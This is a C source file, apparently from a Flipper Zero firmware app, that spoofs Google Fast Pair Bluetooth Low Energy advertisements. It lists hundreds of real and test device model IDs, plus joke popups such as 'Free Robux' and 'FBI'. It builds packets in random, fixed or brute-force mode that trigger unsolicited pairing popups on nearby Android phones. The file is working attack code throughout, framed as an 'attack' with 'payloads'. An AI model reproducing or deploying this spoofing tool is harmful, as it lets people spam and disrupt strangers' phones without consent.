fastpair.c 24 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746
  1. #include "fastpair.h"
  2. #include "_protocols.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction
  5. const struct {
  6. uint32_t value;
  7. const char* name;
  8. } models[] = {
  9. // Genuine non-production/forgotten (good job Google)
  10. {0x0001F0, "Bisto CSR8670 Dev Board"},
  11. {0x000047, "Arduino 101"},
  12. {0x470000, "Arduino 101 2"},
  13. {0x00000A, "Anti-Spoof Test"},
  14. {0x0A0000, "Anti-Spoof Test 2"},
  15. {0x00000B, "Google Gphones"},
  16. {0x0B0000, "Google Gphones 2"},
  17. {0x0C0000, "Google Gphones 3"},
  18. {0x00000D, "Test 00000D"},
  19. {0x000007, "Android Auto"},
  20. {0x070000, "Android Auto 2"},
  21. {0x000008, "Foocorp Foophones"},
  22. {0x080000, "Foocorp Foophones 2"},
  23. {0x000009, "Test Android TV"},
  24. {0x090000, "Test Android TV 2"},
  25. {0x000035, "Test 000035"},
  26. {0x350000, "Test 000035 2"},
  27. {0x000048, "Fast Pair Headphones"},
  28. {0x480000, "Fast Pair Headphones 2"},
  29. {0x000049, "Fast Pair Headphones 3"},
  30. {0x490000, "Fast Pair Headphones 4"},
  31. {0x001000, "LG HBS1110"},
  32. {0x00B727, "Smart Controller 1"},
  33. {0x01E5CE, "BLE-Phone"},
  34. {0x0200F0, "Goodyear"},
  35. {0x00F7D4, "Smart Setup"},
  36. {0xF00002, "Goodyear"},
  37. {0xF00400, "T10"},
  38. {0x1E89A7, "ATS2833_EVB"},
  39. // Phone setup
  40. {0x00000C, "Google Gphones Transfer"},
  41. {0x0577B1, "Galaxy S23 Ultra"},
  42. {0x05A9BC, "Galaxy S20+"},
  43. // Genuine devices
  44. {0xCD8256, "Bose NC 700"},
  45. {0x0000F0, "Bose QuietComfort 35 II"},
  46. {0xF00000, "Bose QuietComfort 35 II 2"},
  47. {0x821F66, "JBL Flip 6"},
  48. {0xF52494, "JBL Buds Pro"},
  49. {0x718FA4, "JBL Live 300TWS"},
  50. {0x0002F0, "JBL Everest 110GA"},
  51. {0x92BBBD, "Pixel Buds"},
  52. {0x000006, "Google Pixel buds"},
  53. {0x060000, "Google Pixel buds 2"},
  54. {0xD446A7, "Sony XM5"},
  55. {0x2D7A23, "Sony WF-1000XM4"},
  56. {0x0E30C3, "Razer Hammerhead TWS"},
  57. {0x72EF8D, "Razer Hammerhead TWS X"},
  58. {0x72FB00, "Soundcore Spirit Pro GVA"},
  59. {0x0003F0, "LG HBS-835S"},
  60. {0x002000, "AIAIAI TMA-2 (H60)"},
  61. {0x003000, "Libratone Q Adapt On-Ear"},
  62. {0x003001, "Libratone Q Adapt On-Ear 2"},
  63. {0x00A168, "boAt Airdopes 621"},
  64. {0x00AA48, "Jabra Elite 2"},
  65. {0x00AA91, "Beoplay E8 2.0"},
  66. {0x00C95C, "Sony WF-1000X"},
  67. {0x01EEB4, "WH-1000XM4"},
  68. {0x02AA91, "B&O Earset"},
  69. {0x01C95C, "Sony WF-1000X"},
  70. {0x02D815, "ATH-CK1TW"},
  71. {0x035764, "PLT V8200 Series"},
  72. {0x038CC7, "JBL TUNE760NC"},
  73. {0x02DD4F, "JBL TUNE770NC"},
  74. {0x02E2A9, "TCL MOVEAUDIO S200"},
  75. {0x035754, "Plantronics PLT_K2"},
  76. {0x02C95C, "Sony WH-1000XM2"},
  77. {0x038B91, "DENON AH-C830NCW"},
  78. {0x02F637, "JBL LIVE FLEX"},
  79. {0x02D886, "JBL REFLECT MINI NC"},
  80. {0xF00000, "Bose QuietComfort 35 II"},
  81. {0xF00001, "Bose QuietComfort 35 II"},
  82. {0xF00201, "JBL Everest 110GA"},
  83. {0xF00204, "JBL Everest 310GA"},
  84. {0xF00209, "JBL LIVE400BT"},
  85. {0xF00205, "JBL Everest 310GA"},
  86. {0xF00200, "JBL Everest 110GA"},
  87. {0xF00208, "JBL Everest 710GA"},
  88. {0xF00207, "JBL Everest 710GA"},
  89. {0xF00206, "JBL Everest 310GA"},
  90. {0xF0020A, "JBL LIVE400BT"},
  91. {0xF0020B, "JBL LIVE400BT"},
  92. {0xF0020C, "JBL LIVE400BT"},
  93. {0xF00203, "JBL Everest 310GA"},
  94. {0xF00202, "JBL Everest 110GA"},
  95. {0xF00213, "JBL LIVE650BTNC"},
  96. {0xF0020F, "JBL LIVE500BT"},
  97. {0xF0020E, "JBL LIVE500BT"},
  98. {0xF00214, "JBL LIVE650BTNC"},
  99. {0xF00212, "JBL LIVE500BT"},
  100. {0xF0020D, "JBL LIVE400BT"},
  101. {0xF00211, "JBL LIVE500BT"},
  102. {0xF00215, "JBL LIVE650BTNC"},
  103. {0xF00210, "JBL LIVE500BT"},
  104. {0xF00305, "LG HBS-1500"},
  105. {0xF00304, "LG HBS-1010"},
  106. {0xF00308, "LG HBS-1125"},
  107. {0xF00303, "LG HBS-930"},
  108. {0xF00306, "LG HBS-1700"},
  109. {0xF00300, "LG HBS-835S"},
  110. {0xF00309, "LG HBS-2000"},
  111. {0xF00302, "LG HBS-830"},
  112. {0xF00307, "LG HBS-1120"},
  113. {0xF00301, "LG HBS-835"},
  114. {0xF00E97, "JBL VIBE BEAM"},
  115. {0x04ACFC, "JBL WAVE BEAM"},
  116. {0x04AA91, "Beoplay H4"},
  117. {0x04AFB8, "JBL TUNE 720BT"},
  118. {0x05A963, "WONDERBOOM 3"},
  119. {0x05AA91, "B&O Beoplay E6"},
  120. {0x05C452, "JBL LIVE220BT"},
  121. {0x05C95C, "Sony WI-1000X"},
  122. {0x0602F0, "JBL Everest 310GA"},
  123. {0x0603F0, "LG HBS-1700"},
  124. {0x1E8B18, "SRS-XB43"},
  125. {0x1E955B, "WI-1000XM2"},
  126. {0x1EC95C, "Sony WF-SP700N"},
  127. {0x1ED9F9, "JBL WAVE FLEX"},
  128. {0x1EE890, "ATH-CKS30TW WH"},
  129. {0x1EEDF5, "Teufel REAL BLUE TWS 3"},
  130. {0x1F1101, "TAG Heuer Calibre E4 45mm"},
  131. {0x1F181A, "LinkBuds S"},
  132. {0x1F2E13, "Jabra Elite 2"},
  133. {0x1F4589, "Jabra Elite 2"},
  134. {0x1F4627, "SRS-XG300"},
  135. {0x1F5865, "boAt Airdopes 441"},
  136. {0x1FBB50, "WF-C700N"},
  137. {0x1FC95C, "Sony WF-SP700N"},
  138. {0x1FE765, "TONE-TF7Q"},
  139. {0x1FF8FA, "JBL REFLECT MINI NC"},
  140. {0x201C7C, "SUMMIT"},
  141. {0x202B3D, "Amazfit PowerBuds"},
  142. {0x20330C, "SRS-XB33"},
  143. {0x003B41, "M&D MW65"},
  144. {0x003D8A, "Cleer FLOW II"},
  145. {0x005BC3, "Panasonic RP-HD610N"},
  146. {0x008F7D, "soundcore Glow Mini"},
  147. {0x00FA72, "Pioneer SE-MS9BN"},
  148. {0x0100F0, "Bose QuietComfort 35 II"},
  149. {0x011242, "Nirvana Ion"},
  150. {0x013D8A, "Cleer EDGE Voice"},
  151. {0x01AA91, "Beoplay H9 3rd Generation"},
  152. {0x038F16, "Beats Studio Buds"},
  153. {0x039F8F, "Michael Kors Darci 5e"},
  154. {0x03AA91, "B&O Beoplay H8i"},
  155. {0x03B716, "YY2963"},
  156. {0x03C95C, "Sony WH-1000XM2"},
  157. {0x03C99C, "MOTO BUDS 135"},
  158. {0x03F5D4, "Writing Account Key"},
  159. {0x045754, "Plantronics PLT_K2"},
  160. {0x045764, "PLT V8200 Series"},
  161. {0x04C95C, "Sony WI-1000X"},
  162. {0x050F0C, "Major III Voice"},
  163. {0x052CC7, "MINOR III"},
  164. {0x057802, "TicWatch Pro 5"},
  165. {0x0582FD, "Pixel Buds"},
  166. {0x058D08, "WH-1000XM4"},
  167. {0x06AE20, "Galaxy S21 5G"},
  168. {0x06C197, "OPPO Enco Air3 Pro"},
  169. {0x06C95C, "Sony WH-1000XM2"},
  170. {0x06D8FC, "soundcore Liberty 4 NC"},
  171. {0x0744B6, "Technics EAH-AZ60M2"},
  172. {0x07A41C, "WF-C700N"},
  173. {0x07C95C, "Sony WH-1000XM2"},
  174. {0x07F426, "Nest Hub Max"},
  175. {0x0102F0, "JBL Everest 110GA - Gun Metal"},
  176. {0x0202F0, "JBL Everest 110GA - Silver"},
  177. {0x0302F0, "JBL Everest 310GA - Brown"},
  178. {0x0402F0, "JBL Everest 310GA - Gun Metal"},
  179. {0x0502F0, "JBL Everest 310GA - Silver"},
  180. {0x0702F0, "JBL Everest 710GA - Gun Metal"},
  181. {0x0802F0, "JBL Everest 710GA - Silver"},
  182. {0x054B2D, "JBL TUNE125TWS"},
  183. {0x0660D7, "JBL LIVE770NC"},
  184. {0x0103F0, "LG HBS-835"},
  185. {0x0203F0, "LG HBS-830"},
  186. {0x0303F0, "LG HBS-930"},
  187. {0x0403F0, "LG HBS-1010"},
  188. {0x0503F0, "LG HBS-1500"},
  189. {0x0703F0, "LG HBS-1120"},
  190. {0x0803F0, "LG HBS-1125"},
  191. {0x0903F0, "LG HBS-2000"},
  192. {0x0102F0, "JBL Everest 110GA"},
  193. {0x0202F0, "JBL Everest 110GA"},
  194. {0x0302F0, "JBL Everest 310GA"},
  195. {0x0402F0, "JBL Everest 310GA"},
  196. {0x0502F0, "JBL Everest 310GA"},
  197. {0x060000, "Google Pixel Buds"},
  198. {0x070000, "Android Auto"},
  199. {0x0702F0, "JBL Everest 710GA"},
  200. {0x071C74, "JBL Flip 6"},
  201. {0x080000, "Foocorp Foophones"},
  202. {0x0802F0, "JBL Everest 710GA"},
  203. {0x090000, "Test Android TV"},
  204. {0x0A0000, "Test 00000a - Anti-Spoofing"},
  205. {0x0B0000, "Google Gphones"},
  206. {0x0C0000, "Google Gphones"},
  207. {0x0DC6BF, "My Awesome Device II"},
  208. {0x0DC95C, "Sony WH-1000XM3"},
  209. {0x0DEC2B, "Emporio Armani EA Connected"},
  210. {0x0E138D, "WF-SP800N"},
  211. {0x0EC95C, "Sony WI-C600N"},
  212. {0x0ECE95, "Philips TAT3508"},
  213. {0x0F0993, "COUMI TWS-834A"},
  214. {0x0F1B8D, "JBL VIBE BEAM"},
  215. {0x0F232A, "JBL TUNE BUDS"},
  216. {0x0F2D16, "WH-CH520"},
  217. {0x20A19B, "WF-SP800N"},
  218. {0x20C95C, "Sony WF-SP700N"},
  219. {0x20CC2C, "SRS-XB43"},
  220. {0x213C8C, "DIZO Wireless Power"},
  221. {0x21521D, "boAt Rockerz 355 (Green)"},
  222. {0x21A04E, "oraimo FreePods Pro"},
  223. {0x2D7A23, "WF-1000XM4"},
  224. {0x350000, "Test 000035"},
  225. {0x470000, "Arduino 101"},
  226. {0x480000, "Fast Pair Headphones"},
  227. {0x490000, "Fast Pair Headphones"},
  228. {0x5BA9B5, "WF-SP800N"},
  229. {0x5BACD6, "Bose QC Ultra Earbuds"},
  230. {0x5BD6C9, "JBL TUNE225TWS"},
  231. {0x5BE3D4, "JBL Flip 6"},
  232. {0x5C0206, "UA | JBL TWS STREAK"},
  233. {0x5C0C84, "JBL TUNE225TWS"},
  234. {0x5C4833, "WH-CH720N"},
  235. {0x5C4A7E, "LG HBS-XL7"},
  236. {0x5C55E7, "TCL MOVEAUDIO S200"},
  237. {0x5C7CDC, "WH-1000XM5"},
  238. {0x5C8AA5, "JBL LIVE220BT"},
  239. {0x5CC900, "Sony WF-1000X"},
  240. {0x5CC901, "Sony WF-1000X"},
  241. {0x5CC902, "Sony WH-1000XM2"},
  242. {0x5CC903, "Sony WH-1000XM2"},
  243. {0x5CC904, "Sony WI-1000X"},
  244. {0x5CC905, "Sony WI-1000X"},
  245. {0x5CC906, "Sony WH-1000XM2"},
  246. {0x5CC907, "Sony WH-1000XM2"},
  247. {0x5CC908, "Sony WI-1000X"},
  248. {0x5CC909, "Sony WI-1000X"},
  249. {0x5CC90A, "Sony WH-1000XM3"},
  250. {0x5CC90B, "Sony WH-1000XM3"},
  251. {0x5CC90C, "Sony WH-1000XM3"},
  252. {0x5CC90D, "Sony WH-1000XM3"},
  253. {0x5CC90E, "Sony WI-C600N"},
  254. {0x5CC90F, "Sony WI-C600N"},
  255. {0x5CC910, "Sony WI-C600N"},
  256. {0x5CC911, "Sony WI-C600N"},
  257. {0x5CC912, "Sony WI-C600N"},
  258. {0x5CC913, "Sony WI-C600N"},
  259. {0x5CC914, "Sony WI-SP600N"},
  260. {0x5CC915, "Sony WI-SP600N"},
  261. {0x5CC916, "Sony WI-SP600N"},
  262. {0x5CC917, "Sony WI-SP600N"},
  263. {0x5CC918, "Sony WI-SP600N"},
  264. {0x5CC919, "Sony WI-SP600N"},
  265. {0x5CC91A, "Sony WI-SP600N"},
  266. {0x5CC91B, "Sony WI-SP600N"},
  267. {0x5CC91C, "Sony WI-SP600N"},
  268. {0x5CC91D, "Sony WI-SP600N"},
  269. {0x5CC91E, "Sony WF-SP700N"},
  270. {0x5CC91F, "Sony WF-SP700N"},
  271. {0x5CC920, "Sony WF-SP700N"},
  272. {0x5CC921, "Sony WF-SP700N"},
  273. {0x5CC922, "Sony WF-SP700N"},
  274. {0x5CC923, "Sony WF-SP700N"},
  275. {0x5CC924, "Sony WF-SP700N"},
  276. {0x5CC925, "Sony WF-SP700N"},
  277. {0x5CC926, "Sony WF-SP700N"},
  278. {0x5CC927, "Sony WF-SP700N"},
  279. {0x5CC928, "Sony WH-H900N"},
  280. {0x5CC929, "Sony WH-H900N"},
  281. {0x5CC92A, "Sony WH-H900N"},
  282. {0x5CC92B, "Sony WH-H900N"},
  283. {0x5CC92C, "Sony WH-H900N"},
  284. {0x5CC92D, "Sony WH-H900N"},
  285. {0x5CC92E, "Sony WH-H900N"},
  286. {0x5CC92F, "Sony WH-H900N"},
  287. {0x5CC930, "Sony WH-H900N"},
  288. {0x5CC931, "Sony WH-H900N"},
  289. {0x5CC932, "Sony WH-CH700N"},
  290. {0x5CC933, "Sony WH-CH700N"},
  291. {0x5CC934, "Sony WH-CH700N"},
  292. {0x5CC935, "Sony WH-CH700N"},
  293. {0x5CC936, "Sony WH-CH700N"},
  294. {0x5CC937, "Sony WH-CH700N"},
  295. {0x5CC938, "Sony WF-1000XM3"},
  296. {0x5CC939, "Sony WF-1000XM3"},
  297. {0x5CC93A, "Sony WF-1000XM3"},
  298. {0x5CC93B, "Sony WF-1000XM3"},
  299. {0x5CC93C, "Sony WH-XB700"},
  300. {0x5CC93D, "Sony WH-XB700"},
  301. {0x5CC93E, "Sony WH-XB700"},
  302. {0x5CC93F, "Sony WH-XB700"},
  303. {0x5CC940, "Sony WH-XB900N"},
  304. {0x5CC941, "Sony WH-XB900N"},
  305. {0x5CC942, "Sony WH-XB900N"},
  306. {0x5CC943, "Sony WH-XB900N"},
  307. {0x5CC944, "Sony WH-XB900N"},
  308. {0x5CC945, "Sony WH-XB900N"},
  309. {0x5CEE3C, "Fitbit Charge 4"},
  310. {0x6AD226, "TicWatch Pro 3"},
  311. {0x6B1C64, "Pixel Buds"},
  312. {0x6B8C65, "oraimo FreePods 4"},
  313. {0x6B9304, "Nokia SB-101"},
  314. {0x6BA5C3, "Jabra Elite 4"},
  315. {0x6C42C0, "TWS05"},
  316. {0x6C4DE5, "JBL LIVE PRO 2 TWS"},
  317. {0x718FA4, "JBL LIVE300TWS"},
  318. {0x89BAD5, "Galaxy A23 5G"},
  319. {0x8A31B7, "Bose QC Ultra Headphones"},
  320. {0x8A3D00, "Cleer FLOW Ⅱ"},
  321. {0x8A3D01, "Cleer EDGE Voice"},
  322. {0x8A8F23, "WF-1000XM5"},
  323. {0x8AADAE, "JLab GO Work 2"},
  324. {0x8B0A91, "Jabra Elite 5"},
  325. {0x8B5A7B, "TicWatch Pro 3 GPS"},
  326. {0x8B66AB, "Pixel Buds A-Series"},
  327. {0x8BB0A0, "Nokia Solo Bud+"},
  328. {0x8BF79A, "Oladance Whisper E1"},
  329. {0x8C07D2, "Jabra Elite 4 Active"},
  330. {0x8C1706, "YY7861E"},
  331. {0x8C4236, "GLIDiC mameBuds"},
  332. {0x8C6B6A, "realme Buds Air 3S"},
  333. {0x8CAD81, "KENWOOD WS-A1"},
  334. {0x8CB05C, "JBL LIVE PRO+ TWS"},
  335. {0x8CD10F, "realme Buds Air Pro"},
  336. {0x8D13B9, "BLE-TWS"},
  337. {0x8D16EA, "Galaxy M14 5G"},
  338. {0x8D5B67, "Pixel 90c"},
  339. {0x8E14D7, "LG-TONE-TFP8"},
  340. {0x8E1996, "Galaxy A24 5g"},
  341. {0x8E4666, "Oladance Wearable Stereo"},
  342. {0x8E5550, "boAt Airdopes 511v2"},
  343. {0x9101F0, "Jabra Elite 2"},
  344. {0x9128CB, "TCL MOVEAUDIO Neo"},
  345. {0x913B0C, "YH-E700B"},
  346. {0x915CFA, "Galaxy A14"},
  347. {0x9171BE, "Jabra Evolve2 65 Flex"},
  348. {0x917E46, "LinkBuds"},
  349. {0x91AA00, "Beoplay E8 2.0"},
  350. {0x91AA01, "Beoplay H9 3rd Generation"},
  351. {0x91AA02, "B&O Earset"},
  352. {0x91AA03, "B&O Beoplay H8i"},
  353. {0x91AA04, "Beoplay H4"},
  354. {0x91AA05, "B&O Beoplay E6"},
  355. {0x91BD38, "LG HBS-FL7"},
  356. {0x91C813, "JBL TUNE770NC"},
  357. {0x91DABC, "SRS-XB33"},
  358. {0x92255E, "LG-TONE-FP6"},
  359. {0x989D0A, "Set up your new Pixel 2"},
  360. {0x9939BC, "ATH-SQ1TW"},
  361. {0x994374, "EDIFIER W320TN"},
  362. {0x997B4A, "UA | JBL True Wireless Flash X"},
  363. {0x99C87B, "WH-H810 (h.ear)"},
  364. {0x99D7EA, "oraimo OpenCirclet"},
  365. {0x99F098, "Galaxy S22 Ultra"},
  366. {0x9A408A, "MOTO BUDS 065"},
  367. {0x9A9BDD, "WH-XB910N"},
  368. {0x9ADB11, "Pixel Buds Pro"},
  369. {0x9AEEA4, "LG HBS-FN4"},
  370. {0x9B7339, "AKG N9 Hybrid"},
  371. {0x9B735A, "JBL RFL FLOW PRO"},
  372. {0x9B9872, "Hyundai"},
  373. {0x9BC64D, "JBL TUNE225TWS"},
  374. {0x9BE931, "WI-C100"},
  375. {0x9C0AF7, "JBL VIBE BUDS"},
  376. {0x9C3997, "ATH-M50xBT2"},
  377. {0x9C4058, "JBL WAVE FLEX"},
  378. {0x9C6BC0, "LinkBuds S"},
  379. {0x9C888B, "WH-H910N (h.ear)"},
  380. {0x9C98DB, "JBL TUNE225TWS"},
  381. {0x9CA277, "YY2963"},
  382. {0x9CB5F3, "WH-1000XM5"},
  383. {0x9CB881, "soundcore Motion 300"},
  384. {0x9CD0F3, "LG HBS-TFN7"},
  385. {0x9CE3C7, "EDIFIER NeoBuds Pro 2"},
  386. {0x9CEFD1, "SRS-XG500"},
  387. {0x9CF08F, "JLab Epic Air ANC"},
  388. {0x9D00A6, "Urbanears Juno"},
  389. {0x9D7D42, "Galaxy S20"},
  390. {0x9DB896, "Your BMW"},
  391. {0xA7E52B, "Bose NC 700 Headphones"},
  392. {0xA7EF76, "JBL CLUB PRO+ TWS"},
  393. {0xA8001A, "JBL CLUB ONE"},
  394. {0xA83C10, "adidas Z.N.E. 01"},
  395. {0xA8658F, "ROCKSTER GO"},
  396. {0xA8845A, "oraimo FreePods 4"},
  397. {0xA88B69, "WF-SP800N"},
  398. {0xA8A00E, "Nokia CB-201"},
  399. {0xA8A72A, "JBL LIVE670NC"},
  400. {0xA8C636, "JBL TUNE660NC"},
  401. {0xA8CAAD, "Galaxy F04"},
  402. {0xA8E353, "JBL TUNE BEAM"},
  403. {0xA8F96D, "JBL ENDURANCE RUN 2 WIRELESS"},
  404. {0xA90358, "JBL LIVE220BT"},
  405. {0xA92498, "JBL WAVE BUDS"},
  406. {0xA9394A, "JBL TUNE230NC TWS"},
  407. {0xC6936A, "JBL LIVE PRO+ TWS"},
  408. {0xC69AFD, "WF-H800 (h.ear)"},
  409. {0xC6ABEA, "UA | JBL True Wireless Flash X"},
  410. {0xC6EC5F, "SRS-XE300"},
  411. {0xC7736C, "Philips PH805"},
  412. {0xC79B91, "Jabra Evolve2 75"},
  413. {0xC7A267, "Fake Test Mouse"},
  414. {0xC7D620, "JBL Pulse 5"},
  415. {0xC7FBCC, "JBL VIBE FLEX"},
  416. {0xC8162A, "LinkBuds S"},
  417. {0xC85D7A, "JBL ENDURANCE PEAK II"},
  418. {0xC8777E, "Jaybird Vista 2"},
  419. {0xC878AA, "SRS-XV800"},
  420. {0xC8C641, "Redmi Buds 4 Lite"},
  421. {0xC8D335, "WF-1000XM4"},
  422. {0xC8E228, "Pixel Buds Pro"},
  423. {0xC9186B, "WF-1000XM4"},
  424. {0xC9836A, "JBL Xtreme 4"},
  425. {0xCA7030, "ATH-TWX7"},
  426. {0xCAB6B8, "ATH-M20xBT"},
  427. {0xCAF511, "Jaybird Vista 2"},
  428. {0xCB093B, "Urbanears Juno"},
  429. {0xCB529D, "soundcore Glow"},
  430. {0xCC438E, "WH-1000XM4"},
  431. {0xCC5F29, "JBL TUNE660NC"},
  432. {0xCC754F, "YY2963"},
  433. {0xCC93A5, "Sync"},
  434. {0xCCBB7E, "MIDDLETON"},
  435. {0xCD8256, "Bose NC 700 Headphones"},
  436. {0xD446A7, "WH-1000XM5"},
  437. {0xD5A59E, "Jabra Elite Speaker"},
  438. {0xD5B5F7, "MOTO BUDS 600 ANC"},
  439. {0xD5C6CE, "realme TechLife Buds T100"},
  440. {0xD654CD, "JBL Xtreme 4"},
  441. {0xD65F4E, "Philips Fidelio T2"},
  442. {0xD69B2B, "TONE-T80S"},
  443. {0xD6C195, "LG HBS-SL5"},
  444. {0xD6E870, "Beoplay EX"},
  445. {0xD6EE84, "Rockerz 255 Max"},
  446. {0xD7102F, "ATH-SQ1TW SVN"},
  447. {0xD7E3EB, "Cleer HALO"},
  448. {0xD8058C, "MOTIF II A.N.C."},
  449. {0xD820EA, "WH-XB910N"},
  450. {0xD87A3E, "Pixel Buds Pro"},
  451. {0xD8F3BA, "WH-1000XM5"},
  452. {0xD8F4E8, "realme Buds T100"},
  453. {0xD90617, "Redmi Buds 4 Active"},
  454. {0xD933A7, "JBL ENDURANCE PEAK 3"},
  455. {0xD9414F, "JBL SOUNDGEAR SENSE"},
  456. {0xD97EBA, "JBL TUNE125TWS"},
  457. {0xD9964B, "JBL TUNE670NC"},
  458. {0xDA0F83, "SPACE"},
  459. {0xDA4577, "Jabra Elite 4 Active"},
  460. {0xDA5200, "blackbox TRIP II"},
  461. {0xDAD3A6, "Jabra Elite 10"},
  462. {0xDADE43, "Chromebox"},
  463. {0xDAE096, "adidas RPT-02 SOL"},
  464. {0xDB8AC7, "LG TONE-FREE"},
  465. {0xDBE5B1, "WF-1000XM4"},
  466. {0xDC5249, "WH-H810 (h.ear)"},
  467. {0xDCF33C, "JBL REFLECT MINI NC"},
  468. {0xDD4EC0, "OPPO Enco Air3 Pro"},
  469. {0xDE215D, "WF-C500"},
  470. {0xDE577F, "Teufel AIRY TWS 2"},
  471. {0xDEC04C, "SUMMIT"},
  472. {0xDEDD6F, "soundcore Space One"},
  473. {0xDEE8C0, "Ear (2)"},
  474. {0xDEEA86, "Xiaomi Buds 4 Pro"},
  475. {0xDEF234, "WH-H810 (h.ear)"},
  476. {0xDF01E3, "Sync"},
  477. {0xDF271C, "Big Bang e Gen 3"},
  478. {0xDF42DE, "TAG Heuer Calibre E4 42mm"},
  479. {0xDF4B02, "SRS-XB13"},
  480. {0xDF9BA4, "Bose NC 700 Headphones"},
  481. {0xDFD433, "JBL REFLECT AERO"},
  482. {0xE020C1, "soundcore Motion 300"},
  483. {0xE06116, "LinkBuds S"},
  484. {0xE07634, "OnePlus Buds Z"},
  485. {0xE09172, "JBL TUNE BEAM"},
  486. {0xE4E457, "Galaxy S20 5G"},
  487. {0xE5440B, "TAG Heuer Calibre E4 45mm"},
  488. {0xE57363, "Oladance Wearable Stereo"},
  489. {0xE57B57, "Super Device"},
  490. {0xE5B4B0, "WF-1000XM5"},
  491. {0xE5B91B, "SRS-XB33"},
  492. {0xE5E2E9, "Zone Wireless 2"},
  493. {0xE64613, "JBL WAVE BEAM"},
  494. {0xE64CC6, "Set up your new Pixel 3 XL"},
  495. {0xE69877, "JBL REFLECT AERO"},
  496. {0xE6E37E, "realme Buds Air 5 Pro"},
  497. {0xE6E771, "ATH-CKS50TW"},
  498. {0xE6E8B8, "POCO Pods"},
  499. {0xE750CE, "Jabra Evolve2 75"},
  500. {0xF52494, "JBL LIVE PRO+ TWS"},
  501. // Custom debug popups
  502. {0xD99CA1, "Flipper Zero"},
  503. {0x77FF67, "Free Robux"},
  504. {0xAA187F, "Free VBucks"},
  505. {0xDCE9EA, "Rickroll"},
  506. {0x87B25F, "Animated Rickroll"},
  507. {0xF38C02, "Boykisser"},
  508. {0x1448C9, "BLM"},
  509. {0xD5AB33, "Xtreme"},
  510. {0x0C0B67, "Xtreme Cta"},
  511. {0x13B39D, "Talking Sasquach"},
  512. {0xAA1FE1, "ClownMaster"},
  513. {0x7C6CDB, "Obama"},
  514. {0x005EF9, "Ryanair"},
  515. {0xE2106F, "FBI"},
  516. {0xB37A62, "Tesla"},
  517. };
  518. const uint16_t models_count = COUNT_OF(models);
  519. static const char* get_name(const Payload* payload) {
  520. UNUSED(payload);
  521. return "FastPair";
  522. }
  523. static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
  524. FastpairCfg* cfg = payload ? &payload->cfg.fastpair : NULL;
  525. uint32_t model;
  526. switch(cfg ? payload->mode : PayloadModeRandom) {
  527. case PayloadModeRandom:
  528. default:
  529. model = models[rand() % models_count].value;
  530. break;
  531. case PayloadModeValue:
  532. model = cfg->model;
  533. break;
  534. case PayloadModeBruteforce:
  535. model = cfg->model = payload->bruteforce.value;
  536. break;
  537. }
  538. uint8_t size = 14;
  539. uint8_t* packet = malloc(size);
  540. uint8_t i = 0;
  541. packet[i++] = 3; // Size
  542. packet[i++] = 0x03; // AD Type (Service UUID List)
  543. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  544. packet[i++] = 0xFE; // ...
  545. packet[i++] = 6; // Size
  546. packet[i++] = 0x16; // AD Type (Service Data)
  547. packet[i++] = 0x2C; // Service UUID (Google LLC, FastPair)
  548. packet[i++] = 0xFE; // ...
  549. packet[i++] = (model >> 0x10) & 0xFF;
  550. packet[i++] = (model >> 0x08) & 0xFF;
  551. packet[i++] = (model >> 0x00) & 0xFF;
  552. packet[i++] = 2; // Size
  553. packet[i++] = 0x0A; // AD Type (Tx Power Level)
  554. packet[i++] = (rand() % 120) - 100; // -100 to +20 dBm
  555. *_size = size;
  556. *_packet = packet;
  557. }
  558. enum {
  559. _ConfigExtraStart = ConfigExtraStart,
  560. ConfigModel,
  561. ConfigInfoRequire,
  562. ConfigCOUNT,
  563. };
  564. static void config_callback(void* _ctx, uint32_t index) {
  565. Ctx* ctx = _ctx;
  566. scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
  567. switch(index) {
  568. case ConfigModel:
  569. scene_manager_next_scene(ctx->scene_manager, SceneFastpairModel);
  570. break;
  571. case ConfigInfoRequire:
  572. break;
  573. default:
  574. ctx->fallback_config_enter(ctx, index);
  575. break;
  576. }
  577. }
  578. static void extra_config(Ctx* ctx) {
  579. Payload* payload = &ctx->attack->payload;
  580. FastpairCfg* cfg = &payload->cfg.fastpair;
  581. VariableItemList* list = ctx->variable_item_list;
  582. VariableItem* item;
  583. item = variable_item_list_add(list, "Model Code", 0, NULL, NULL);
  584. const char* model_name = NULL;
  585. char model_name_buf[9];
  586. switch(payload->mode) {
  587. case PayloadModeRandom:
  588. default:
  589. model_name = "Random";
  590. break;
  591. case PayloadModeValue:
  592. for(uint16_t i = 0; i < models_count; i++) {
  593. if(cfg->model == models[i].value) {
  594. model_name = models[i].name;
  595. break;
  596. }
  597. }
  598. if(!model_name) {
  599. snprintf(model_name_buf, sizeof(model_name_buf), "%06lX", cfg->model);
  600. model_name = model_name_buf;
  601. }
  602. break;
  603. case PayloadModeBruteforce:
  604. model_name = "Bruteforce";
  605. break;
  606. }
  607. variable_item_set_current_value_text(item, model_name);
  608. variable_item_list_add(list, "Requires Google services", 0, NULL, NULL);
  609. variable_item_list_set_enter_callback(list, config_callback, ctx);
  610. }
